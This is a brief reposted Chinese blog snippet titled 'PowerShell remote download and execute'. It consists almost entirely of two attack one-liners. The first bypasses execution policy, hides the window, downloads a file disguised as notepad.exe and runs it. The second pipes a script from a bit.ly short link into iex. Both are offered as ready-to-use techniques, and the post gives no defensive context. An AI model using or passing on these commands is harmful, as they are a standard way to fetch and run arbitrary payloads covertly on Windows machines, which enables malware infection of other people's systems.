powershell 远程下载并执行

远程下载文件到本地并执行
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe
远程执行ps1脚本
powershell -nop -"iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 
   

 

 
   

 

转载于:https://www.cnblogs.com/landuo11/p/7523159.html

你可能感兴趣的:(powershell 远程下载并执行)